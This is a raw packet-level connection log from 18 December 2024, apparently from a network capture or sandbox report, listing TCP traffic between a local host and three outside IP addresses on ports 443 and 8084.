Dec 18, 2024 13:36:03.461339951 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.461355925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.608128071 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.608150005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.608216047 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.608268976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.608283997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.608314991 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.614706039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.614722967 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.614799976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.614834070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.614850044 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.614872932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.622800112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.622817039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.622906923 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.622953892 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.623056889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.630664110 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.630685091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.630758047 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.630794048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.630995035 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.633968115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.633984089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.634080887 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.634123087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.634166956 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.640331984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.640348911 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.640424013 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.640453100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.641124964 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.646729946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.646744967 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.646791935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.646830082 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.646847963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.646876097 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.654151917 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.654170036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.654212952 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.654239893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.654270887 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.654294968 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.802901983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.802922010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.803021908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.803064108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.803122997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.807419062 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.807434082 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.807499886 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.807526112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.807578087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.814815998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.814834118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.814920902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.814964056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.815023899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.820100069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.820115089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.820187092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.820218086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.820281029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.827696085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.827718019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.827780008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.827807903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.827824116 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.827850103 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.833879948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.833898067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.833951950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.833990097 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.834026098 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.840244055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.840261936 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.840322018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.840353966 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.840373039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.840401888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.846615076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.846636057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.846679926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.846716881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.846733093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.846832991 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.992372990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.992413044 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.992474079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.992523909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.992542028 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.992562056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.998696089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.998714924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.998781919 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.998792887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.998804092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.998832941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.006114960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.006136894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.006191969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.006206036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.006216049 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.006288052 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.012516975 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.012532949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.012590885 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.012603045 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.012613058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.012641907 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.020700932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.020718098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.020767927 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.020780087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.020808935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.020833015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.027343035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.027360916 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.027414083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.027427912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.027455091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.027477026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.033277988 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.033294916 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.033374071 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.033390999 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.033431053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.038511038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.038527966 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.038603067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.038614035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.038675070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.184432983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.184458017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.184519053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.184545994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.184570074 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.184587002 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.192253113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.192281008 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.192326069 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.192348003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.192367077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.192387104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.198611021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.198631048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.198709965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.198740959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.198847055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.204766989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.204797983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.204829931 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.204854012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.204875946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.204894066 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.211133003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.211158991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.211199045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.211222887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.211236954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.211257935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.217520952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.217549086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.217587948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.217607021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.217623949 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.217650890 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.223896027 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.223917961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.223965883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.223993063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.224004984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.224030018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.230232000 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.230257988 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.230299950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.230326891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.230346918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.230671883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.376692057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.376715899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.376764059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.376804113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.376822948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.376849890 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.382740021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.382797956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.382802010 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.382833004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.382848978 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.382849932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:04.382874966 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.382904053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.383699894 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:04.383728027 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:06.624113083 CET	49836	443	192.168.2.6	107.148.51.200
Dec 18, 2024 13:36:06.624171019 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:06.624234915 CET	49836	443	192.168.2.6	107.148.51.200
Dec 18, 2024 13:36:06.627373934 CET	49836	443	192.168.2.6	107.148.51.200
Dec 18, 2024 13:36:06.627403975 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:08.464032888 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:08.497616053 CET	49836	443	192.168.2.6	107.148.51.200
Dec 18, 2024 13:36:08.497637987 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:08.497857094 CET	49836	443	192.168.2.6	107.148.51.200
Dec 18, 2024 13:36:08.497862101 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:08.499003887 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:08.499068022 CET	49836	443	192.168.2.6	107.148.51.200
Dec 18, 2024 13:36:08.508275032 CET	49836	443	192.168.2.6	107.148.51.200
Dec 18, 2024 13:36:08.508358002 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:08.508388996 CET	49836	443	192.168.2.6	107.148.51.200
Dec 18, 2024 13:36:08.551342010 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:08.556858063 CET	49836	443	192.168.2.6	107.148.51.200
Dec 18, 2024 13:36:08.556878090 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:08.607042074 CET	49836	443	192.168.2.6	107.148.51.200
Dec 18, 2024 13:36:09.208379984 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:09.208400965 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:09.208461046 CET	49836	443	192.168.2.6	107.148.51.200
Dec 18, 2024 13:36:09.208491087 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:09.208633900 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:09.208713055 CET	49836	443	192.168.2.6	107.148.51.200
Dec 18, 2024 13:36:09.208743095 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:09.208755970 CET	49836	443	192.168.2.6	107.148.51.200
Dec 18, 2024 13:36:09.208764076 CET	443	49836	107.148.51.200	192.168.2.6
Dec 18, 2024 13:36:09.208774090 CET	49836	443	192.168.2.6	107.148.51.200
Dec 18, 2024 13:36:09.351264954 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:09.470864058 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:09.470957994 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:09.476500034 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:09.596165895 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:10.991794109 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:10.991808891 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:10.991942883 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:10.992280006 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:10.993280888 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:10.993370056 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:10.993479967 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:10.995127916 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:10.995189905 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:10.995359898 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:10.997266054 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:10.997301102 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:10.997313976 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.123984098 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.187859058 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.208928108 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.209047079 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.209152937 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.213139057 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.213211060 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.214821100 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.214971066 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.215018988 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.223179102 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.223371029 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.223414898 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.231411934 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.234443903 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.234507084 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.234627962 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.242854118 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.242928028 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.243041039 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.251280069 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.251362085 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.251466036 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.259732962 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.259794950 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.259805918 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.268105030 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.268161058 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.268230915 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.327086926 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.328980923 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.401300907 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.401321888 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.401407957 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.405375957 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.405437946 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.405637980 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.413595915 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.413676023 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.413819075 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.425889969 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.425939083 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.426095963 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.430174112 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.430228949 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.431607962 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.431878090 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.431915045 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.440228939 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.440248013 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.440287113 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.448577881 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.451378107 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.451428890 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.451680899 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.459836006 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.459881067 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.460107088 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.468091965 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.468138933 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.468349934 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.477236986 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.477253914 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.477286100 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.484942913 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.484994888 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.485143900 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.493807077 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.493864059 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.494036913 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.501646996 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.501702070 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.501940966 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.510060072 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.510109901 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.510246992 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.522315979 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.522370100 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.522566080 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.527080059 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.527128935 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.527163982 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.535384893 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.535435915 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.535610914 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.546117067 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.546163082 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.546428919 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.551875114 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.551927090 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.593291044 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.593368053 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.593514919 CET	49844	8084	192.168.2.6	107.148.62.100
